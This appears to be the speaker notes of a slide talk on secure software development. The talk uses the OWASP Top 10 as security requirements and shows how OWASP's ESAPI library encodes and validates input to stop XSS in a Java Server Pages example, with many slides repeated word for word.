- #44 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #45 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #46 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #47 You have to apply security to each one of the SDLC phases.\nWhatever software development methodology you use...\n...they all have the same phases\n...maybe not in the same order, or using iterations\nImportant things to realise is that...\n...without security requirements...\n ...you don&#x2019;t know what security to design into the software ...don&#x2019;t know how or where to apply secure coding ...or even what security features to test for\n\n
- #48 You have to apply security to each one of the SDLC phases.\nWhatever software development methodology you use...\n...they all have the same phases\n...maybe not in the same order, or using iterations\nImportant things to realise is that...\n...without security requirements...\n ...you don&#x2019;t know what security to design into the software ...don&#x2019;t know how or where to apply secure coding ...or even what security features to test for\n\n
- #49 If security requirements is all we need...\n...what are we waiting for?\nIf your management is not ready to implements security..\n..you will have to convince them first\nIf you are lucky, you can start right away and implement OpenSAMM\n..and get the ball rolling.\n..implement your Secure SDLC\n..and do the sec requirements dev tasks...\n..with risk assessment probably the most important\nBut, you still have production systems deployed...\n...and even more being produced as we speak.\nSo, what&#x2019;s the problem?\nThe one thing that you don&#x2019;t have but the hackers do have is time..\nwhich turns your situation into a timebomb\n\n\n
- #50 If security requirements is all we need...\n...what are we waiting for?\nIf your management is not ready to implements security..\n..you will have to convince them first\nIf you are lucky, you can start right away and implement OpenSAMM\n..and get the ball rolling.\n..implement your Secure SDLC\n..and do the sec requirements dev tasks...\n..with risk assessment probably the most important\nBut, you still have production systems deployed...\n...and even more being produced as we speak.\nSo, what&#x2019;s the problem?\nThe one thing that you don&#x2019;t have but the hackers do have is time..\nwhich turns your situation into a timebomb\n\n\n
- #51 If security requirements is all we need...\n...what are we waiting for?\nIf your management is not ready to implements security..\n..you will have to convince them first\nIf you are lucky, you can start right away and implement OpenSAMM\n..and get the ball rolling.\n..implement your Secure SDLC\n..and do the sec requirements dev tasks...\n..with risk assessment probably the most important\nBut, you still have production systems deployed...\n...and even more being produced as we speak.\nSo, what&#x2019;s the problem?\nThe one thing that you don&#x2019;t have but the hackers do have is time..\nwhich turns your situation into a timebomb\n\n\n
- #52 Where to now?\nAt this point you need to do fire-fighting using some kind of a.. \n...first-aid or quick-win solution.\nGood news is that all the information and tools are available.\nThe general state of app security is very low.\nWith some effort you can make a huge difference\n
- #53 OWASP collates information about several security projects including the popular TOP 10 Application Security Risks\n\nTo get going with our plan - download the TOP 10 document\n\n
- #54 OWASP collates information about several security projects including the popular TOP 10 Application Security Risks\n\nTo get going with our plan - download the TOP 10 document\n\n
- #55 The TOP 10 Application Security risks is just what is says\nBig Chance that these risks are also your organisations&#x2019; TOP 10 risks.\nThe interesting fact to realise is that by adopting these risks..\n..you have made a big step in establishing your security requirements\nStart by implementing these requirements!!\n\n
- #56 The TOP 10 Application Security risks is just what is says\nBig Chance that these risks are also your organisations&#x2019; TOP 10 risks.\nThe interesting fact to realise is that by adopting these risks..\n..you have made a big step in establishing your security requirements\nStart by implementing these requirements!!\n\n
- #57 The TOP 10 Application Security risks is just what is says\nBig Chance that these risks are also your organisations&#x2019; TOP 10 risks.\nThe interesting fact to realise is that by adopting these risks..\n..you have made a big step in establishing your security requirements\nStart by implementing these requirements!!\n\n
- #58 To read from the document:\nXSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. \nXSS allows attackers to execute scripts in the victim&#x2019;s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.\nThe Cheat Sheet detail page for XSS, like the detail pages for the other risks.. \n..gives a very concise explanation of the vulnerability...\n ...the attack and the defense\n..and lists a whole lot of resources (both internal and external to OWASP)..\n ..that are invaluable in mitigating the risk\nThe Cheat Sheet is the place to start\n
- #59 To read from the document:\nXSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. \nXSS allows attackers to execute scripts in the victim&#x2019;s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.\nThe Cheat Sheet detail page for XSS, like the detail pages for the other risks.. \n..gives a very concise explanation of the vulnerability...\n ...the attack and the defense\n..and lists a whole lot of resources (both internal and external to OWASP)..\n ..that are invaluable in mitigating the risk\nThe Cheat Sheet is the place to start\n
- #60 To read from the document:\nXSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. \nXSS allows attackers to execute scripts in the victim&#x2019;s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.\nThe Cheat Sheet detail page for XSS, like the detail pages for the other risks.. \n..gives a very concise explanation of the vulnerability...\n ...the attack and the defense\n..and lists a whole lot of resources (both internal and external to OWASP)..\n ..that are invaluable in mitigating the risk\nThe Cheat Sheet is the place to start\n
- #61 To read from the document:\nXSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. \nXSS allows attackers to execute scripts in the victim&#x2019;s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.\nThe Cheat Sheet detail page for XSS, like the detail pages for the other risks.. \n..gives a very concise explanation of the vulnerability...\n ...the attack and the defense\n..and lists a whole lot of resources (both internal and external to OWASP)..\n ..that are invaluable in mitigating the risk\nThe Cheat Sheet is the place to start\n
- #62 To read from the document:\nXSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. \nXSS allows attackers to execute scripts in the victim&#x2019;s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.\nThe Cheat Sheet detail page for XSS, like the detail pages for the other risks.. \n..gives a very concise explanation of the vulnerability...\n ...the attack and the defense\n..and lists a whole lot of resources (both internal and external to OWASP)..\n ..that are invaluable in mitigating the risk\nThe Cheat Sheet is the place to start\n
- #63 To read from the document:\nXSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. \nXSS allows attackers to execute scripts in the victim&#x2019;s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.\nThe Cheat Sheet detail page for XSS, like the detail pages for the other risks.. \n..gives a very concise explanation of the vulnerability...\n ...the attack and the defense\n..and lists a whole lot of resources (both internal and external to OWASP)..\n ..that are invaluable in mitigating the risk\nThe Cheat Sheet is the place to start\n
- #64 The Cheat Sheet explains the problem in detail..\n..and stipulates the rules for the various contexts \n ...of the HTML page.. \n ..where attacks can happen\nfor example, a HTML page contains, HTML, JS and CSS values...\n...each context having it&#x2019;s own allowed characters and string delimiters\n\nLet&#x2019;s look at attacks on existing JavaScript in your page\n
- #65 The Cheat Sheet explains the problem in detail..\n..and stipulates the rules for the various contexts \n ...of the HTML page.. \n ..where attacks can happen\nfor example, a HTML page contains, HTML, JS and CSS values...\n...each context having it&#x2019;s own allowed characters and string delimiters\n\nLet&#x2019;s look at attacks on existing JavaScript in your page\n
- #66 The rule for JS is to encode (or escape) before inserting untrusted data into HTML JS data values\nBasically there are 3 places...\n ...inside a quoted string\n ...ons side o a quoted expression\n ...inside a quoted event handler\nYou may wonder where this untrusted data comes from.\nThe HTML page is generated by a web application server.. ..using data originating from all kinds of sources, ..e.g. database, the browser, other apps\n..that you do not have any control over\nLets look at some code\n
- #67 This is Java Server Pages source code.\nIt could have been any other tech, like PHP, ASP, whatever.\nThe developer&#x2019;s intent was to ..get the name of a user from the browser \n..and then to say Hello to him or her. \nThe untrusted data is shown as a comment..\n..and in this example originates from the user or the browser\nIt contains an attack string..\n..that starts with the single quote delimiter character \n..to break out of the JS data value context\nNo encoding takes place\nAnd the generated page contains a XSS injection that\n\n\n
- #68 This is Java Server Pages source code.\nIt could have been any other tech, like PHP, ASP, whatever.\nThe developer&#x2019;s intent was to ..get the name of a user from the browser \n..and then to say Hello to him or her. \nThe untrusted data is shown as a comment..\n..and in this example originates from the user or the browser\nIt contains an attack string..\n..that starts with the single quote delimiter character \n..to break out of the JS data value context\nNo encoding takes place\nAnd the generated page contains a XSS injection that\n\n\n
- #69 This is Java Server Pages source code.\nIt could have been any other tech, like PHP, ASP, whatever.\nThe developer&#x2019;s intent was to ..get the name of a user from the browser \n..and then to say Hello to him or her. \nThe untrusted data is shown as a comment..\n..and in this example originates from the user or the browser\nIt contains an attack string..\n..that starts with the single quote delimiter character \n..to break out of the JS data value context\nNo encoding takes place\nAnd the generated page contains a XSS injection that\n\n\n
- #70 This is Java Server Pages source code.\nIt could have been any other tech, like PHP, ASP, whatever.\nThe developer&#x2019;s intent was to ..get the name of a user from the browser \n..and then to say Hello to him or her. \nThe untrusted data is shown as a comment..\n..and in this example originates from the user or the browser\nIt contains an attack string..\n..that starts with the single quote delimiter character \n..to break out of the JS data value context\nNo encoding takes place\nAnd the generated page contains a XSS injection that\n\n\n
- #71 This is Java Server Pages source code.\nIt could have been any other tech, like PHP, ASP, whatever.\nThe developer&#x2019;s intent was to ..get the name of a user from the browser \n..and then to say Hello to him or her. \nThe untrusted data is shown as a comment..\n..and in this example originates from the user or the browser\nIt contains an attack string..\n..that starts with the single quote delimiter character \n..to break out of the JS data value context\nNo encoding takes place\nAnd the generated page contains a XSS injection that\n\n\n
- #72 This is Java Server Pages source code.\nIt could have been any other tech, like PHP, ASP, whatever.\nThe developer&#x2019;s intent was to ..get the name of a user from the browser \n..and then to say Hello to him or her. \nThe untrusted data is shown as a comment..\n..and in this example originates from the user or the browser\nIt contains an attack string..\n..that starts with the single quote delimiter character \n..to break out of the JS data value context\nNo encoding takes place\nAnd the generated page contains a XSS injection that\n\n\n
- #73 This is Java Server Pages source code.\nIt could have been any other tech, like PHP, ASP, whatever.\nThe developer&#x2019;s intent was to ..get the name of a user from the browser \n..and then to say Hello to him or her. \nThe untrusted data is shown as a comment..\n..and in this example originates from the user or the browser\nIt contains an attack string..\n..that starts with the single quote delimiter character \n..to break out of the JS data value context\nNo encoding takes place\nAnd the generated page contains a XSS injection that\n\n\n
- #74 To stop such attacks you need to write secure code.\nSecure code utilises security controls\nThe Cheat Sheet gives exact information on..\n..where\n..what\n..and how such a control should work\n\n\n
- #75 The important thing about choosing a security control is.. \n..that is has to work correctly\n..and that you want to use only a single control for a specific mitigation\nThink before rolling your own..\n..you may waste lots of time\nYour framework could help you\nMicrosoft has plenty of tools\nOWASP&#x2019;s ESAPI is what I use\n\n\nESAPI is an integrated set of security controls\n
- #76 I use OWASP&#x2019;s ESAPI project\nIt&#x2019;s basically free and can be distributed with my app \nIt works.\nIt is designed to be used with existing frameworks like..\n..Spring, Structs, Tapestry\nExperts keep it up to date\n\nSo, how do you use it\n\n\n
- #77 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #78 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #79 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #80 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #81 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #82 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #83 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #84 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #85 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #86 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #87 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #88 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #89 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #90 One line of code and you have..\n..proper encoding\n..and safe rendering\n\nSee how the single quote is encoded as a \\x27 \n..that does not break the string data value context\n\nBut that data is quite ugly you may remark.\nShouldn&#x2019;t you do some input validation?\n
- #91 Let&#x2019;s get some space on the screen and look only at the code..\n\nESAPI comes to the rescue again..\n\n
- #92 Let&#x2019;s get some space on the screen and look only at the code..\n\nESAPI comes to the rescue again..\n\n
- #93 Let&#x2019;s get some space on the screen and look only at the code..\n\nESAPI comes to the rescue again..\n\n
- #94 Let&#x2019;s get some space on the screen and look only at the code..\n\nESAPI comes to the rescue again..\n\n
- #95 Let&#x2019;s get some space on the screen and look only at the code..\n\nESAPI comes to the rescue again..\n\n
- #96 See the ESAPI validator controls\n\nnormal workflow\nreport input failure\nESAPI does:\n...security logging\n...wakes up Intrusion detection\n\n
- #97 See the ESAPI validator controls\n\nnormal workflow\nreport input failure\nESAPI does:\n...security logging\n...wakes up Intrusion detection\n\n
- #98 See the ESAPI validator controls\n\nnormal workflow\nreport input failure\nESAPI does:\n...security logging\n...wakes up Intrusion detection\n\n
- #99 See the ESAPI validator controls\n\nnormal workflow\nreport input failure\nESAPI does:\n...security logging\n...wakes up Intrusion detection\n\n
- #100 See the ESAPI validator controls\n\nnormal workflow\nreport input failure\nESAPI does:\n...security logging\n...wakes up Intrusion detection\n\n
- #101 See the ESAPI validator controls\n\nnormal workflow\nreport input failure\nESAPI does:\n...security logging\n...wakes up Intrusion detection\n\n
- #102 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #103 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #104 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #105 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #106 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #107 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #108 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #109 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #110 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #111 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #112 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #113 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #114 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #115 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #116 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #117 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #118 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #119 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #120 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #121 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #122 We have addressed Risk nr 2 of the TOP 10\nMost of the other Risks can also be addressed using ESAPI\nExcept #6 and #9\nIt&#x2019;s more related to system configuration\nThere is more than enough information to address that as well\n\n
- #123 You&#x2019;ve come a long way but you&#x2019;re not done yet.\nThere is still plenty to do and understand.\nThe TOP 10 project contains a lot of resources and related projects\n..both internal and external to OWASP\nNotably the dev guide that is still very valid\nThe 2010 is currently being rewritten.\nMany other resources at OWASP - please go have a look at the website.\n\n
- #124 \n